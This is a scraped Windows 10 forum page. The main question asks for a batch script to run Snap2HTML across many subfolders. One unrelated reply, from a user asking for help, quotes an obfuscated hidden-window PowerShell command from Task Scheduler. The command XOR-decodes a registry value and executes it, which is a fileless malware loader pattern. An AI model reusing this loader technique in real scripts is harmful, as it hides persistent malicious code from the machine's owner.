Windows 10: Script for either a .bat file, or a CMD shell or Power Shell script, to automate running a...

Discus and support Script for either a .bat file, or a CMD shell or Power Shell script, to automate running a... in Windows 10 Software and Apps to solve the problem; Windows 10Hello Is it possible to write a script for either a .bat file, or a CMD shell or Power Shell script, to automate running a single small .exe... Discussion in 'Windows 10 Software and Apps' started by KennyNotts, Jan 20, 2024.

  1. Script for either a .bat file, or a CMD shell or Power Shell script, to automate running a...


    Windows 10Hello Is it possible to write a script for either a .bat file, or a CMD shell or Power Shell script, to automate running a single small .exe Snap2HTML.exe over and over again while stating the program parameters. I wish to use a small program called Snap2html rlvision[dot]com which creates a snapshot of whatever windows folder you point it to and outputs that snap shot as an .html file. This makes it perfect to retain a snapshot for backups and achieving. It is actually a really nice way of doing things. I have 1224 sub folders inside a parent folder that I wish to create separ

    :)
     
    KennyNotts, Jan 20, 2024
    #1

  2. Script for either a .bat file, or a CMD shell or Power Shell script, to automate running a single small .exe multiple times w. parameters?

    Windows 10

    Hello



    Is it possible to write a script for either a .bat file, or a CMD shell or Power Shell script, to automate running a single small .exe (Snap2HTML.exe) over and over again while stating the program parameters.



    I wish to use a small program called Snap2html (rlvision[dot]com which creates a snapshot of whatever windows folder you point it to and outputs that snap shot as an .html file. This makes it perfect to retain a snapshot for backups and achieving. It is actually a really nice way of doing things.



    I have 1224 sub folders inside a parent folder that I wish to create separate snapshots from and place each snapshot in its respective folder.



    Where my scripting question is concerned is this



    As Snap2html can be run from its GUI or via a command line is there a way to do the following: have the program cycle



    The command line allows a user to start the program with the root folder set, that is the folder who’s contents you wish to make a snapshot of, and the output file name (the html file) and which folder you want that output file to be placed in.



    The following is taken from the small text file that the developer included with the software.



    “You can automate Snap2HTML by starting it from the command line with the

    following options:



    Simple: Snap2HTMl.exe "c:\path\to\root\folder"



    Starts the program with the given root path already set





    Full: Snap2HTMl.exe -path:"root folder path" -outfile:"filename" -title:"page title"





    -outfile:"filename” - The filename to save the snapshot as together with the location of where the snapshot should be saved.

    -title:"page title” - The name that is shown inside the html snapshot when viewed by double clicking of the .html file.



    To make this question simple let’s assume there is one Parent folder called TEST with five sub folders named:

    Sub Folder 1

    Sub Folder 2

    Sub Folder 3

    Sub Folder 4

    Sub Folder 5



    So, the run of events that I would like…

    From with the parent folder

    1. Start the program and pass to the program the name of the first sub folder,

    (Can this be done via code or from with the bat file



    start C:\Temp\Snap2HTML\Snap2HTML.exe -path:" C:\ Test\Sub Folder 1"



    and also use the folder name as the output file name like so



    start C:\Temp\Snap2HTML\Snap2HTML.exe -path:" C:\ Test\Sub Folder 1” -outfile:"C:\Test\Sub Folder 1.html"



    and set the title shown with in the page as the same as the folder name.



    start C:\Temp\Snap2HTML\Snap2HTML.exe -path:" C:\ Test\Sub Folder 1” -outfile:"C:\Test\Sub Folder 1.html" -title:"Sub Folder 1"



    THEN



    Close the Snap2HTML program



    Then open it again but pass the details of the next folder (in this example it would be Sub Folder 2

    So, the final code used the start Snap2HTML for the next folder would be

    start C:\Temp\Snap2HTML\Snap2HTML.exe -path:" C:\ Test\Sub Folder 2” -outfile:"C:\Test\Sub Folder 2.html" -title:"Sub Folder 2"



    Then just repeat this for all folders within the parent folder.



    I do not know if this is even possible but the thought of having to do this individually for each of the 1224 sub folders, one at a time, makes me ask if there is a better way.



    Thank you in advance for your help or suggestions.
     
    KennyNotts, Jan 21, 2024
    #2
  3. Unknown Power shell script running

    Hi,

    I usually get a brief pop-up for a script that runs at random times (as far as I can gather). Its only for a split second, but its a nuisance if I am gaming as my controller is just disabled until I swap out and back to the game window again.

    I can see that there are several Power shell scripts that execute from the task schedular, but I am much more concerned about the below script that runs:

    C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe -WINDOwstYLe hIDDen -COmmaNd "IcM ([scrIpTBLOck]::CrEatE([sTRInG]::joiN('', ((Get-iTempRopERtY -pATH 'Hklm:\SoFTwAre\asiOscCSU').'SCCsu95' | % { [chAR]($_ -bXor 246) }))))"

    I have disabled all these PowerShell scripts, but deleted the above from the task schedular. Is the above a legitimate windows process? Also, I tried to find the registry key it is referring to but I cannot locate it.
     
    Danial Hussain, Jan 21, 2024
    #3
  4. Script for either a .bat file, or a CMD shell or Power Shell script, to automate running a...

    Script atualização do OFFICE 365 via Power Shell

    Bom dia!

    Alguém tem um script atualização do OFFICE 365 via Power Shell?
     
    Valério Alves da Silva, Jan 21, 2024
    #4
Thema:

Script for either a .bat file, or a CMD shell or Power Shell script, to automate running a...

Loading...
  1. Script for either a .bat file, or a CMD shell or Power Shell script, to automate running a... - Similar Threads - Script either bat

  2. Script for either a .bat file, or a CMD shell or Power Shell script, to automate running a...

    in Windows 10 Network and Sharing
    Script for either a .bat file, or a CMD shell or Power Shell script, to automate running a...: Windows 10Hello Is it possible to write a script for either a .bat file, or a CMD shell or Power Shell script, to automate running a single small .exe Snap2HTML.exe over and over again while stating the program parameters. I wish to use a small program called Snap2html...
  3. Script for either a .bat file, or a CMD shell or Power Shell script, to automate running a...

    in Windows 10 Gaming
    Script for either a .bat file, or a CMD shell or Power Shell script, to automate running a...: Windows 10Hello Is it possible to write a script for either a .bat file, or a CMD shell or Power Shell script, to automate running a single small .exe Snap2HTML.exe over and over again while stating the program parameters. I wish to use a small program called Snap2html...
  4. Unknown Power shell script running

    in Windows 10 Gaming
    Unknown Power shell script running: Hi,I usually get a brief pop-up for a script that runs at random times as far as I can gather. Its only for a split second, but its a nuisance if I am gaming as my controller is just disabled until I swap out and back to the game window again.I can see that there are several...
  5. Unknown Power shell script running

    in Windows 10 Software and Apps
    Unknown Power shell script running: Hi,I usually get a brief pop-up for a script that runs at random times as far as I can gather. Its only for a split second, but its a nuisance if I am gaming as my controller is just disabled until I swap out and back to the game window again.I can see that there are several...
  6. Unable to generate hash id file through running script in Power Shell

    in Windows 10 Gaming
    Unable to generate hash id file through running script in Power Shell: Hi,After running the below script in Power Shell for generating hash id file for restting machine it showing below error and please check attached error.Script : Get-CimInstance -Namespace root/cimv2/mdm/dmmap -Class MDM_DevDetail_Ext01 -Filter "InstanceID='Ext' AND...
  7. Unable to generate hash id file through running script in Power Shell

    in Windows 10 Software and Apps
    Unable to generate hash id file through running script in Power Shell: Hi,After running the below script in Power Shell for generating hash id file for restting machine it showing below error and please check attached error.Script : Get-CimInstance -Namespace root/cimv2/mdm/dmmap -Class MDM_DevDetail_Ext01 -Filter "InstanceID='Ext' AND...
  8. Power shell script

    in Windows 10 Support
    Power shell script: Not sure where to post this. Can anyone tell me what this does. C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy UnRestricted function IJ($A) {$L = $Null;Get-ChildItem $A -Recurse -Depth 1 -ErrorAction 'SilentlyContinue' | ? {$_.extension -eq '.lnk'}...
  9. Questions relating to power shell scripting in general

    in Windows 10 Support
    Questions relating to power shell scripting in general: Is there an appropriate forum here for power shell scripting? I am referring to basic programming help. 171722
  10. Power Shell script windows update

    in Windows 10 Installation and Upgrade
    Power Shell script windows update: Hi! I need to test the behavior of my application to install Windows updates to version 1803. I have Windows 10 version 1607 and version 1703. I want on the virtual machine to lift Windows server 2016 in a role of WSUS, and 2 virtual machines with different versions of...